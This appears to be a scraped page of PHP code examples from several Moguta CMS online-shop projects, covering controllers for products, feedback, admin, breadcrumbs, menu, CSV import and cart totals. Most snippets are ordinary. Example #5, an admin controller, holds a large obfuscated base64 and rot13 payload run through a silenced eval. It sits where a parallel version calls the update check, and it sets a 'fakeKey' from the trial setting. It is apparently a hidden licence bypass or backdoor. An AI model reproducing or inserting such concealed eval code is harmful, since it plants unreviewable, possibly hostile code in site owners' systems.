コード例 #1
0
ファイル: functions.php プロジェクト: nellka/mebel
/**
 * Файл может содержать ряд пользовательских фунций влияющих на работу движка. 
 * В данном файле можно использовать собственные обработчики 
 * перехватывая функции движка, аналогично работе плагинов.
 * 
 * @author Авдеев Марк <*****@*****.**>
 * @package moguta.cms
 * @subpackage File
 */
function seoMeta($args)
{
    $settings = MG::get('settings');
    $args[0]['title'] = !empty($args[0]['title']) ? $args[0]['title'] : '';
    $title = !empty($args[0]['meta_title']) ? $args[0]['meta_title'] : $args[0]['title'];
    MG::set('metaTitle', $title . ' | ' . $settings['sitename']);
}
コード例 #2
0
ファイル: index.php プロジェクト: WinGood/24karcher
 public function __construct()
 {
     $modelIndex = new Models_Index();
     //$pageModel  = new Models_Page;
     $page = MG::get('pages')->getPageByUrl('index');
     $this->data = array('popularGoods' => getBestSeller(8), 'newGoods' => $modelIndex->getNewGoods(8), 'currency' => MG::getSetting('currency'), 'meta_title' => $page['meta_title'], 'meta_keywords' => $page['meta_keywords'], 'meta_desc' => $page['meta_desc']);
 }
コード例 #3
0
ファイル: feedback.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     $html = MG::get('pages')->getPageByUrl('feedback');
     $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']);
     $data = array('dislpayForm' => true, 'meta_title' => $html['meta_title'] ? $html['meta_title'] : $html['title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'html_content' => $html['html_content'], 'title' => $html['title']);
     // Если пришли данные с формы.
     if (isset($_POST['send'])) {
         // Создает модель отправки сообщения.
         $feedBack = new Models_Feedback();
         // Проверяет на корректность вода.
         $error = $feedBack->isValidData($_POST);
         $data['error'] = $error;
         // Если есть ошибки заносит их в переменную.
         if (!$error) {
             $_POST['message'] = nl2br($_POST['message']);
             //Отправляем админам.
             $sitename = MG::getSetting('sitename');
             //$message = str_replace('№', '#', $feedBack->getMessage());
             $body = MG::layoutManager('email_feedback', array('msg' => $_POST['message'], 'email' => $feedBack->getEmail(), 'name' => $feedBack->getFio()));
             $mails = explode(',', MG::getSetting('adminEmail'));
             foreach ($mails as $mail) {
                 if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) {
                     Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail()));
                     Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $body, 'html' => true));
                 }
             }
             MG::redirect('/feedback?thanks=1');
         }
     }
     // Формирует сообщение.
     if (isset($_REQUEST['thanks'])) {
         $data = array('message' => 'Ваше сообщение отправлено!', 'dislpayForm' => false, 'meta_title' => 'Обратная связь', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "Обратная сввязь, быстрое сообщение, вопрос в поддержку", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Задайте свой вопрос по средствам формы обратной связи.");
     }
     $this->data = $data;
 }
コード例 #4
0
ファイル: index.php プロジェクト: kostiukoleg/all4web.loc
 /**
  * Получаем все записи комментариев к этой странице
  * @return type 
  */
 static function getComments()
 {
     $result = array();
     $where = '';
     if (MG::get('controller') == 'controllers_product') {
         $where = " OR uri LIKE '%/" . DB::quote(URL::getLastSection(), true) . "' OR uri = " . DB::quote("/" . URL::getLastSection());
     }
     // Запрос для генерации блока пагинации
     $sql = "\r\n      SELECT id, name, comment, date\r\n      FROM `" . PREFIX . "comments` \r\n      WHERE (uri = " . DB::quote(URL::getClearUri()) . $where . ") AND approved = '1'\r\n      ORDER BY `date` DESC";
     //Получаем блок пагинации
     if ($_GET["comm_page"]) {
         $page = $_GET["comm_page"];
         //если был произведен запрос другой страницы, то присваиваем переменной новый индекс
     }
     $navigator = new Navigator($sql, $page, MG::getSetting('countPrintRowsComments'), 6, false, "comm_page");
     //определяем класс
     $comments = $navigator->getRowsSql();
     $pagination = $navigator->getPager();
     /*
      * Получаем  комментарии.	
      */
     foreach ($comments as $key => $value) {
         $comments[$key]['date'] = date('d.m.Y H:i', strtotime($comments[$key]['date']));
     }
     $result['comments'] = $comments;
     $result['pagination'] = $pagination;
     return $result;
 }
コード例 #5
0
ファイル: mgadmin.php プロジェクト: kostiukoleg/all4web.loc
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("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")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
コード例 #6
0
ファイル: product.php プロジェクト: nellka/mebel
 function __construct()
 {
     $model = new Models_Product();
     // Требуется только пересчет цены товара.
     if (!empty($_REQUEST['calcPrice'])) {
         $model->calcPrice();
         exit;
     }
     $product = Storage::get(md5('ControllersProduct' . URL::getUrl()));
     if ($product == null) {
         $settings = MG::get('settings');
         $product = $model->getProduct(URL::getQueryParametr('id'));
         if (empty($product)) {
             MG::redirect('/404');
             exit;
         }
         $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title'];
         $product['currency'] = $settings['currency'];
         $blockVariants = $model->getBlockVariants($product['id']);
         $blockedProp = $model->noPrintProperty();
         $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso']));
         // Легкая форма без характеристик.
         $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants));
         //echo viewData($propertyFormData['defaultSet']);
         $product['price_course'] += $propertyFormData['marginPrice'];
         $currencyRate = MG::getSetting('currencyRate');
         $currencyShopIso = MG::getSetting('currencyShopIso');
         $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso;
         $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']];
         $product['old_price'] = $product['old_price'] ? $product['old_price'] : 0;
         $product['price'] = MG::priceCourse($product['price_course']);
         $product['propertyForm'] = $propertyFormData['html'];
         $product['propertyNodummy'] = $propertyFormData['propertyNodummy'];
         $product['stringsProperties'] = $propertyFormData['stringsProperties'];
         $product['liteFormData'] = $liteFormData['html'];
         $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']);
         $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]);
         // Информация об отсутствии товара на складе.
         if (MG::getSetting('printRemInfo') == "true") {
             $message = 'Здравствуйте, меня интересует товар "' . str_replace("'", "&quot;", $product['title']) . '" с артикулом "' . $product['code'] . '", но его нет в наличии.
     Сообщите, пожалуйста, о поступлении этого товара на склад. ';
             if ($product['count'] != 0) {
                 $style = 'style="display:none;"';
             }
             $product['remInfo'] = "<span class='rem-info' " . $style . ">Товара временно нет на складе!<br/><a href='" . SITE . "/feedback?message=" . $message . "'>Сообщить когда будет в наличии.</a></span>";
         }
         if ($product['count'] < 0) {
             $product['count'] = "много";
         }
         $product['related'] = $model->createRelatedForm($product['related']);
         Storage::save(md5('ControllersProduct' . URL::getUrl()), $product);
     }
     // MG::set('propertyNodummy',$product['propertyNodummy']);
     // $_SESSION['propertyNodummy'] = $product['propertyNodummy'];
     $this->data = $product;
 }
コード例 #7
0
ファイル: mgadmin.php プロジェクト: nellka/mebel
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $newVer = Updata::checkUpdata(false, true);
         $this->newVersion = $newVer['lastVersion'];
     }
 }
コード例 #8
0
ファイル: index.php プロジェクト: kostiukoleg/all4web.loc
 static function breadcrumbs()
 {
     $breadcrumbs = Storage::get(md5('breadcrumbs' . URL::getUrl()));
     if ($breadcrumbs == null) {
         $sections = URL::getSections();
         array_splice($sections, 0, 1);
         if (SHORT_LINK == 1 && MG::get('controller') == 'controllers_product') {
             $product_url = URL::getLastSection();
             $res = DB::query('SELECT CONCAT(c.`parent_url`, c.`url`) as fullurl
       FROM `' . PREFIX . 'product` p LEFT JOIN `' . PREFIX . 'category` c 
       ON p.cat_id  = c.id WHERE p.url = ' . DB::quote($product_url));
             $cat = DB::fetchArray($res);
             $sections = explode('/', $cat['fullurl']);
             $sections[] = $product_url;
         }
         $breadcrumbs = '<a href="' . SITE . '/catalog">Каталог</a>';
         $max = count($sections);
         $i = 0;
         $par = '';
         foreach ($sections as $section) {
             $url = $section;
             $cat = 'title';
             if ($url != 'catalog') {
                 $data = self::checkURLname('*', 'category', $section, 'url', $par);
                 $url = $data[0]['parent_url'] . $section;
                 $res = $data[0]['title'];
                 $par = $data[0]['id'];
                 if (!$data[0]['title']) {
                     $cat = 'name';
                     $n = '';
                     $result = self::checkURLname('*', 'product', $section, 'url', $n);
                     $url = $data[0]['parent_url'] . $sections[1] . '/' . $sections[2];
                     $categoryRes = self::checkURLname('url, parent_url', 'category', $result[0]['cat_id'], 'id');
                     $url = $categoryRes[0]['parent_url'] . $categoryRes[0]['url'] . '/' . $result[0]['url'];
                     $res = $result[0]['title'];
                 }
             }
             $i++;
             if ($max == $i) {
                 $breadcrumbs .= ' » <span class="last-crumb">' . $res . '</span>';
             } else {
                 $breadcrumbs .= ' » <a href="' . SITE . '/' . $url . '">' . $res . '</a>';
             }
         }
         $breadcrumbs = "<div class='bread-crumbs'>" . $breadcrumbs . "</div>";
         //сохраняем объект в кэш
         Storage::save(md5('breadcrumbs' . URL::getUrl()), $breadcrumbs);
     }
     return $breadcrumbs;
 }
コード例 #9
0
ファイル: menu.php プロジェクト: WinGood/24karcher
 /**
  * Возвращает массив пунктов меню.
  * @return type
  */
 public static function getArrayMenu()
 {
     $arrPages = MG::get('pages')->getPageInMenu();
     $menuItem = array();
     foreach ($arrPages as $item) {
         if ($item['url'] == "index" || $item['url'] == "index.html") {
             $item['url'] = '';
         }
         if (strpos($item['url'], 'http://') === false) {
             $url = SITE . '/' . $item['url'];
         } else {
             $url = $item['url'];
         }
         $menuItem[] = array('title' => $item['title'], 'id' => $item['id'], 'url' => $url);
     }
     return $menuItem;
 }
コード例 #10
0
ファイル: product.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     $model = new Models_Product();
     // Требуется только пересчет цены товара.
     if (!empty($_REQUEST['calcPrice'])) {
         $model->calcPrice();
         exit;
     }
     $settings = MG::get('settings');
     $product = $model->getProduct(URL::getQueryParametr('id'));
     $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title'];
     $product['currency'] = $settings['currency'];
     $blockVariants = $model->getBlockVariants($product['id']);
     $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants));
     // Легкая форма без характеристик.
     $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => array(), 'noneAmount' => false, 'titleBtn' => "В корзину", 'blockVariants' => $blockVariants));
     $product['price'] += $propertyFormData['marginPrice'];
     $product['propertyForm'] = $propertyFormData['html'];
     $product['liteFormData'] = $liteFormData['html'];
     $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']);
     $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]);
     $product["recommend"] = 0;
     $product["new"] = 0;
     $product['cat_title'] = $model->getTitleCat($product['cat_id']);
     // Случайные продукты
     $modelCatalog = new Models_Catalog();
     $likeGoods = $modelCatalog->getRandomProduct($product['cat_id'], $product['id']);
     $product['like_goods'] = $likeGoods;
     // Информация об отсутствии товара на складе.
     if (MG::getSetting('printRemInfo') == "true" && $product['count'] == 0) {
         $product['remInfo'] = "<span class='rem-info'>Товара временно нет на складе!</style>";
     }
     if ($product['count'] < 0) {
         $product['count'] = "∞";
     }
     $this->data = $product;
 }
コード例 #11
0
ファイル: import.php プロジェクト: nellka/mebel
 /**
  * Создает временную таблицу import_cat_prop, для сохранения связей характеристик и категорий
  */
 public function greateTempTableImport()
 {
     DB::query("DROP TABLE IF EXISTS " . PREFIX . "import_prod");
     DB::query("DROP TABLE IF EXISTS " . PREFIX . "import_cat");
     DB::query("\r\n     CREATE TABLE IF NOT EXISTS " . PREFIX . "import_cat (\r\n      `cat_id` int(11) NOT NULL,  \r\n      `title` varchar(2048) NOT NULL,\r\n      `parent` varchar(2048) NOT NULL \r\n    ) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
     DB::query("\r\n     CREATE TABLE IF NOT EXISTS " . PREFIX . "import_prod (\r\n      `product_id` int(11) NOT NULL,  \r\n      `title` varchar(2048) NOT NULL,    \r\n      `url_cpu_cat` varchar(2048) NOT NULL,\r\n      `category_id` int(11) NOT NULL,\r\n      `variant` int(1) NOT NULL\r\n    ) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
     $sql = '
   SELECT    
     c.id as category_id,
     c.title as category_title,
     CONCAT(c.parent_url,c.url) as category_url,
     p.url as product_url,
     p.*
   FROM `' . PREFIX . 'product` p
   LEFT JOIN `' . PREFIX . 'category` c
     ON c.id = p.cat_id';
     $res = DB::query($sql);
     $product = new Models_Product();
     while ($row = DB::fetchAssoc($res)) {
         $parent = $row['category_url'];
         // Подставляем всесто URL названия разделов.
         $resultPath = '';
         while ($parent) {
             $url = URL::parsePageUrl($parent);
             $parent = URL::parseParentUrl($parent);
             $parent = $parent != '/' ? $parent : '';
             $alreadyParentCat = MG::get('category')->getCategoryByUrl($url, $parent);
             $resultPath = $alreadyParentCat['title'] . '/' . $resultPath;
         }
         $resultPath = trim($resultPath, '/');
         $variants = $product->getVariants($row['id']);
         $variant = 0;
         DB::query("\r\n       INSERT INTO `" . PREFIX . "import_prod` \r\n         (`product_id`, `title`, `url_cpu_cat`, `category_id`, `variant`) \r\n       VALUES (" . DB::quote($row['id']) . ", " . DB::quote($row['title']) . ", " . DB::quote($row['category_url']) . ", " . DB::quote($row['category_id']) . ", " . $variant . ")");
     }
     //---------------------наполняем таблицу для категорий-----------------------------
     $sql = '
   SELECT `id`, `title`, `parent_url`, url,
    CONCAT(parent_url,url) as category_url
   FROM `' . PREFIX . 'category` c';
     $res = DB::query($sql);
     while ($row = DB::fetchAssoc($res)) {
         $parent = $row['parent_url'];
         // Подставляем вместо URL названия разделов.
         $resultPath = '';
         while ($parent) {
             $url = URL::parsePageUrl($parent);
             $parent = URL::parseParentUrl($parent);
             $parent = $parent != '/' ? $parent : '';
             $alreadyParentCat = MG::get('category')->getCategoryByUrl($url, $parent);
             $resultPath = $alreadyParentCat['title'] . '/' . $resultPath;
         }
         $resultPath = trim($resultPath, '/');
         DB::query("\r\n       INSERT INTO `" . PREFIX . "import_cat` \r\n         (`cat_id`, `title`, `parent`) \r\n       VALUES (" . DB::quote($row['id']) . ", " . DB::quote($row['title']) . ", " . DB::quote($resultPath) . ")");
     }
 }
コード例 #12
0
ファイル: template.php プロジェクト: kostiukoleg/all4web.loc
</div>
<!--Подвал сайта-->
<div class="footer">
    <div class="footer-top">
        <div class="centered">
            <div class="col">
                <h2>Сайт</h2>
                <?php 
echo MG::get('pages')->getFooterPagesUl();
?>
            </div>
            <div class="col">
                <h2>Продукция</h2>
                <ul>
                    <?php 
echo MG::get('category')->getCategoryListUl(0, 'public', false);
?>
                </ul>
            </div>
            <div class="col">
                <h2>Мы в соцсетях</h2>
                <ul class="social-media">
                    <li><a href="javascript:void(0);" class="vk-icon" title="Vkontakte"><span></span></a></li>
                    <li><a href="javascript:void(0);" class="gplus-icon" title="Google+"><span></span></a></li>
                    <li><a href="javascript:void(0);" class="fb-icon" title="Facebook"><span></span></a></li>
                </ul>
            </div>
            <div class="clear"></div>
        </div>
    </div>
    <div class="footer-bottom">
コード例 #13
0
ファイル: smalcart.php プロジェクト: kostiukoleg/all4web.loc
 /**
  * Вычисляет общую стоимость содержимого, а также количество.
  * @return array массив с данными о количестве и цене.
  */
 public static function getCartData()
 {
     $modelCart = new Models_Cart();
     // Количество вещей в корзине.
     $res['cart_count'] = 0;
     // Общая стоимость.
     $res['cart_price'] = 0;
     // Если удалось получить данные из куков и они успешно десериализованы в $_SESSION['cart'].
     //self::getCokieCart() &&
     if (!empty($_SESSION['cart'])) {
         $settings = MG::get('settings');
         $totalPrice = 0;
         $totalCount = 0;
         if (!empty($_SESSION['cart'])) {
             $itemIds = array();
             $variantsId = array();
             foreach ($_SESSION['cart'] as $key => $item) {
                 if (!empty($item['id'])) {
                     if (!empty($item['variantId'])) {
                         $variantsId[] = $item['variantId'];
                     }
                     $itemIds[] = $item['id'];
                 }
             }
             if (!empty($itemIds)) {
                 // Пробегаем по содержимому.
                 $idsPr = implode(',', array_unique($itemIds));
                 $where = ' IN (' . trim(DB::quote($idsPr), "'") . ')';
             }
         } else {
             $where = ' IN (0)';
         }
         // Пробегаем по содержимому.
         //   $where = ' IN ('.trim(DB::quote(implode(',',$itemIds)),"'").')';
         $result = DB::query('
       SELECT CONCAT(c.parent_url,c.url) AS category_url, p.url AS product_url, p.*, rate,
       (p.price_course + p.price_course * (IFNULL(rate,0))) as `price_course`, p.currency_iso
       FROM `' . PREFIX . 'product` AS p
       LEFT JOIN `' . PREFIX . 'category` AS c ON c.id = p.cat_id
       WHERE p.id ' . $where);
         $array_variants = array();
         if (!empty($variantsId)) {
             $ids = implode(',', $variantsId);
             $variants_res = DB::query('SELECT  pv.*, c.rate,(pv.price_course + pv.price_course *(IFNULL(c.rate,0))) as `price_course`,
       p.currency_iso
       FROM `' . PREFIX . 'product_variant` pv   
       LEFT JOIN `' . PREFIX . 'product` as p ON 
         p.id = pv.product_id
       LEFT JOIN `' . PREFIX . 'category` as c ON 
         c.id = p.cat_id       
       WHERE pv.id IN (' . trim(DB::quote($ids, true)) . ')');
             while ($variant_row = DB::fetchAssoc($variants_res)) {
                 $array_variants[$variant_row['id']] = $variant_row;
             }
         }
